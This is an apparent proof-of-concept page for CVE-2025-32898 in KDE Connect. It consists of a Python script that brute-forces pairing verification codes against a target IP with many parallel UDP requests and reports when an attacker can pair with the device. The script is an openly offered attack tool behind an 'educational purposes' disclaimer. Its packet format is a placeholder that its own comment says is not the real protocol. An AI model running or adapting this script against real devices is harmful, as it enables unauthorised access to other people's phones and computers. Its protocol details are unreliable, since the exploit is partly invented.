CVE-2025-32898 KDE Connect验证码暴力破解漏洞

#!/usr/bin/env python3 """ CVE-2025-32898 - KDE Connect Verification Code Brute Force PoC Note: This PoC is for educational and security research purposes only. """ import socket import itertools import string import time from concurrent.futures import ThreadPoolExecutor, as_completed # KDE Connect uses port 1716 for discovery and port 1717 for communication KDE_CONNECT_PORT = 1716 BROADCAST_ADDR = "<broadcast>" def generate_candidate_codes(charset=string.digits + string.ascii_lowercase, length=8): """Generate candidate verification codes""" for combo in itertools.product(charset, repeat=length): yield ''.join(combo) def send_kde_connect_pairing_request(target_ip, verification_code): """ Send KDE Connect pairing request with verification code This simulates the protocol interaction for brute force attack """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) # KDE Connect protocol packet structure # In real attack, this would be the actual protocol message packet = f"PAIR_REQUEST:{verification_code}".encode() sock.sendto(packet, (target_ip, KDE_CONNECT_PORT)) response, addr = sock.recvfrom(1024) # Check if pairing was successful if b"PAIR_SUCCESS" in response: return True, verification_code return False, None except socket.timeout: return False, None except Exception as e: print(f"Error: {e}") return False, None finally: sock.close() def brute_force_attack(target_ip, max_attempts=1000000, workers=100): """ Perform brute force attack on KDE Connect verification code Args: target_ip: Target device IP address max_attempts: Maximum number of attempts before giving up workers: Number of parallel workers """ print(f"[*] Starting brute force attack on {target_ip}") print(f"[*] Target: KDE Connect verification code") print(f"[*] Using {workers} parallel workers") charset = string.digits + string.ascii_lowercase # Simplified charset attempts = 0 start_time = time.time() with ThreadPoolExecutor(max_workers=workers) as executor: futures = {} for code in generate_candidate_codes(charset, 8): if attempts >= max_attempts: break future = executor.submit(send_kde_connect_pairing_request, target_ip, code) futures[future] = code attempts += 1 # Submit in batches to manage memory if len(futures) >= workers * 2: for completed in as_completed(futures, timeout=0.1): success, result = completed.result() if success: print(f"\n[!] VALID VERIFICATION CODE FOUND: {result}") print(f"[!] Time taken: {time.time() - start_time:.2f} seconds") print(f"[!] Attempts: {attempts}") executor.shutdown(wait=False) return result futures = {} # Check remaining futures for completed in as_completed(futures): success, result = completed.result() if success: print(f"\n[!] VALID VERIFICATION CODE FOUND: {result}") return result print(f"[-] Brute force failed after {attempts} attempts") print(f"[-] Time elapsed: {time.time() - start_time:.2f} seconds") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-32898-poc.py <target_ip> [max_attempts] [workers]") print("Example: python cve-2025-32898-poc.py 192.168.1.100 1000000 100") sys.exit(1) target = sys.argv[1] max_att = int(sys.argv[2]) if len(sys.argv) > 2 else 1000000 workers = int(sys.argv[3]) if len(sys.argv) > 3 else 100 print("=" * 60) print("CVE-2025-32898 - KDE Connect Verification Code Brute Force") print("=" * 60) result = brute_force_attack(target, max_att, workers) if result: print(f"\n[+] Attack successful!") print(f"[+] Verification code: {result}") print(f"[+] Attacker can now pair with target device") else: print(f"\n[-] Attack unsuccessful")